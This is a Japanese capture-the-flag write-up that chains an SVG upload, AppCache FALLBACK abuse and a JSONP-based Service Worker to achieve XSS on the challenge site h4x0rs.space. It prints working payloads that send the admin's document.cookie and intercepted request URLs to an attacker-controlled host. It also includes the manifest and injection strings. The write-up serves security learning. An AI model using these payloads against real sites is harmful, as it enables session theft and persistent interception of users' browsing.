I've made a blog platform let you write your secret.
Nobody can know it since I enabled all of modern web security mechanism, is it cool, huh?
Get `document. cookie` of the admin.
h4x0rs.space
- 第一段階: ファイルアップロード + AppCache で XSS
- 第二段階: JSONP + Service Worker でXSS
- ブログを書けるWebアプリケーション
- ブログでは、
[tag]text[/tag]
のような独自タグで一部のHTMLタグが使える - 画像アップロード機能あり
- 何か問題があればblog post IDを送信してくれたら管理者がみるよ、と書かれた報告フォームがある
これらから、XSSを見つけ、細工したブログ記事のblog post IDを報告フォームから送り付けることで、adminのCookieを取得できると想像できる。
記事ページでは強いCSPが設定されており、例えインジェクションを見つけてもスクリプトの実行は厳しい。
Content-Security-Policy: default-src none; frame-src https://h4x0rs.space/blog/untrusted_files/embed/embed.php https://www.google.com/recaptcha/; script-src 'nonce-caead04ffca3166f5a3ccdf8031b27f3'; style-src 'self' 'unsafe-inline' fonts.googleapis.com; font-src fonts.gstatic.com; img-src *; connect-src https://h4x0rs.space/blog/report.php;
画像アップロード機能からはSVGをアップロードできる。アップロードされたSVGはブログ記事と同一オリジンにホストされ、直接開ける上にCSPも設定されていなかった。SVGにはスクリプトを埋め込めるので、ここにはCSPで保護されないXSSがあることになる。ここに直接アクセスさせることができればCookieを取得できそうだが、報告フォームから送信できるのはblog post IDのみで、adminがアクセスする起点はブログ記事でなければならない。ブログ記事からSVGへリダイレクトする方法をみつける必要がありそうだ。独自タグの周りから探していく。
独自タグからは [yt]VIDEO_ID[/yt]
や [ig]BQVihTsA4ix[/ig]
の形式で、YouTubeとInstagramの埋め込みができる。
埋め込みは以下のようなURLをiframeに埋め込むことで行われる。
https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=VIDEO_ID&p=youtube https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=BQVihTsA4ix&p=instagram
この embed.php のembedパラメータには、単純なReflected XSSがある。ただし、このページにも強いCSPがあり、ここからSVGへリダイレクトするのも難しい。
pパラメータを削ったり、youtube か instagram 以外の値にすると 500 Internal Server Error
がスローされた。サーバサイドの脆弱性があるのかとも考えたが、エラーを出す以上のことはできなかった。このわずかな動作が次に説明する解法に繋がってくる。
ここまできてしばらく悩んだが、公開された CACHE
というヒントによってAppCacheを使ってSVGをロードする方法に気付いた。
昨年 @filedescriptorさんにより、AppCacheを使ってサンドボックスドメインを攻撃する手法が紹介された。 https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks?slide=16
AppCacheをロードしてFALLBACKエントリにスクリプトを実行するページを割り当てることにより、4xxエラーページにアクセスしたときに、FALLBACKに割り当てたページが表示されることを悪用するもの。今回はこれとよく似た方法で攻撃ができる。
任意のスクリプトを実行し、Cookieを取得するまでの手順は次の通り。
- ファイルアップロード機能から、XSSを使ってCookieを自分の管理下のドメインに送りつけるようなSVGをアップロードする
https://h4x0rs.space/blog/untrusted_files/[SVG_HAVING_XSS_PAYLOAD].svg
<svg xmlns="http://www.w3.org/2000/svg">
<script>fetch(`https://my-domain/?${document.cookie}`)</script>
</svg>
- ファイルアップロード機能からマニフェストが書かれた偽の画像をアップロードする。マニフェストには、FALLBACKを適用する範囲として、前述した
500 Internal Server Error
を出す条件を満たすページを設定し、代替リソースとして直前にアップロードしたSVGを設定する。
https://h4x0rs.space/blog/untrusted_files/[SVG_MANIFEST].svg
CACHE MANIFEST
FALLBACK:
/blog/untrusted_files/embed/embed.php?embed=a /blog/untrusted_files/[SVG_HAVING_XSS_PAYLOAD].svg
- embed.php のXSSを使ってマニフェストをロードするURLを作る
<!-- DEBUG
embed_id: --><html manifest=/blog/untrusted_files/[SVG_MANIFEST].svg>
-->
[...]
- 直前のURLをYouTubeの埋め込みタグを使って埋め込むブログ記事を投稿する。このとき、FALLBACKページを表示するための埋め込みタグ(
[yt]a#[/yt]
)も同時に投稿する。なお、ここで複数の埋め込みタグを投稿しているのは、FALLBACKの代替リソースをキャッシュするタイミングが、次のiframeのロードより遅い場合があるため。
[yt]--%3E%3Chtml%20manifest=%2Fblog%2Funtrusted_files%2F[SVG_MANIFEST].svg%3E[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
- 上のブログ記事のblog post IDを報告フォームから投稿する。うまくいけば、自分のサーバにChromeのUserAgentから次のようなリクエストが送られてくる。
GET /?flag=OK%21+You+got+me...+This+is+your+reward%3A+%22flag%7Bm0ar_featureS_%22+Wait%2C+I+wonder+if+you+could+hack+my+server.+Okay%2C+shall+we+play+a+game%3F+I+am+going+to+check+my+secret+blog+post+where+you+can+find+the+rest+of+flag+in+next+5+seconds.+If+you+know+where+I+hide+it%2C+you+win%21+Good+luck.+For+briefly%2C+I+will+open+a+new+tab+in+my+browser+then+go+to+my+https%3A%2F%2Fh4x0rs.space%2Fblog.php%2F%2Asecret_id%2A+.+You+have+to+find+where+is+it.+1...2...3...4..5...+%28Contact+me+%40l4wio+on+IRC+if+you+have+a+question%29
次のように書かれている。
OK! You got me... This is your reward: "flag{m0ar_featureS_" Wait, I wonder if you could hack my server. Okay, shall we play a game? I am going to check my secret blog post where you can find the rest of flag in next 5 seconds. If you know where I hide it, you win! Good luck. For briefly, I will open a new tab in my browser then go to my https://h4x0rs.space/blog.php/*secret_id* . You have to find where is it. 1...2...3...4..5... (Contact me @l4wio on IRC if you have a question)
おお、なんと…。えらく長いフラグだな、と思ったら途中までしか書かれていないではないか。5秒後に別のタブで秘密のブログ記事にアクセスするから、そのページをみつけろ、そこに残りのフラグがあると書かれている。
ブログ記事があるURL( https://h4x0rs.space/blog/[blog_post_id] )は、AppCacheのスコープ外にある(※現在のChromeのAppCacheは、マニフェストのあるディレクトリの /blog/untrusted_files/ までしかコントロールできない )ので、今回はAppCacheは使えない。 そのウインドウへの参照を持たない状態で、別のタブへのアクセスを観測できるとしたら、AppCache以外にはService Workerくらいしかありえない。
SWになるようなリソースが同じオリジンにないか探すと、ブログ記事のデータを保持しているJSONPを発見できた。
https://h4x0rs.space/blog/pad.php?callback=render&id=[blog_post_id]
render({"data":"QQ==","id":"[blog_post_id]","title":"blog title","time":"2018-04-03 12:32:00","image_type":""});
このJSONPは同一オリジンにあり、Content-Typeはtext/javascript
なので、SWの登録条件を満たしている。
callbackパラメータには文字数制限があるが、コメントアウトするなどして、ブログタイトルの部分にペイロードを書けば任意のSWを書くことができそうだ。
ちなみに、以前、SWを使った攻撃についてまとめた資料を作っており、SWの登録条件やJSONPを使った手法、その他の攻撃などにも触れているので、こちらも参照されたい。
https://speakerdeck.com/masatokinugawa/pwa-study-sw
SWを登録し、新たに開かれたタブのURLを取得するまでの手順は次の通り。
-
*/onfetch=e=>{fetch(`https://my-domain/?${e.request.url}`)}//
というタイトルのブログ記事を投稿する -
そのブログからロードされているJSONPを取り出し、callbackパラメータを細工してSWとなるURLを作る https://h4x0rs.space/blog/pad.php?callback=/*&id=[BLOG_POST_ID_SW]
/*({"data":"QQ==","id":"[BLOG_POST_ID_SW]","title":"*/onfetch=e=>{fetch(`https://my-domain/?${e.request.url}`)}//","time":"2018-04-03 12:32:00","image_type":""});
- ファイルアップロード機能から、SWを登録するSVGをアップロードする https://h4x0rs.space/blog/untrusted_files/[SVG_HAVING_SW].svg
<svg xmlns="http://www.w3.org/2000/svg">
<script>navigator.serviceWorker.register('/blog/pad.php?callback=/*&id=[BLOG_POST_ID_SW]')</script>
</svg>
- ファイルアップロード機能からマニフェストが書かれた偽の画像をアップロードする。マニフェストには、FALLBACKを適用する範囲として、
500 Internal Server Error
を出す条件を満たすページを設定し、代替リソースとして直前にアップロードしたSVGを設定する。
https://h4x0rs.space/blog/untrusted_files/[SVG_MANIFEST_SW].svg
CACHE MANIFEST
FALLBACK:
/blog/untrusted_files/embed/embed.php?embed=a /blog/untrusted_files/[SVG_HAVING_SW].svg
- embed.php のXSSを使ってマニフェストをロードするURLを作る
- 直前のURLをYouTubeの埋め込みタグを使って埋め込むブログ記事を投稿する。このとき、FALLBACKページを表示するための埋め込みタグ(
[yt]a#[/yt]
)も同時に投稿する。
[yt]--%3E%3Chtml%20manifest=%2Fblog%2Funtrusted_files%2F[SVG_MANIFEST_SW].svg%3E[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
- 上のブログ記事のblog post IDを報告フォームから投稿する。うまくいけば、いくつかとんでくるリクエストの中に、次のブログURLからfetchがあったことを発見できる。
GET /?https://h4x0rs.space/blog/blog.php/15e8f6b2408ea136dd2e62dec47ceabc3b0ec9d1d99eebd740853ae23b6db375
アクセスすると、残りのフラグが書かれたページがある。
flag{m0ar_featureS_m0ar_c00l_bugs_finally_u_g0t_persistent_xss}
TwitterのTLに流れてきたCSPというワードを見て、XSSの問題っぽいからやってみるかと思って気軽に夜から始めたら朝になってしまった。 徹夜は不本意だったけれど、最高得点の問題だし、自分しか解けていないようなので、8時間くらいでできたのはまぁ上出来なのでは!
AppCacheを使うのは盲点だった。ヒントが無ければ思いつかなかったかもしれない。
AppCacheのトリックに気付いて、リクエストが降ってきたときは、やったー解けたー寝よー!!と本気で思ったので、続きがあることに気付いたときには一度心が折れたが、JSONPからService Workerをロードする方法は、過去に自分が作成したXSS Challengeや、SWを使った攻撃をまとめた資料でも触れていたこともあり、すぐに思いつけたのでなんとかなった。
新しめの攻撃をうまく組み込んでいてとても良い問題だと思いました。有意義な徹夜でした。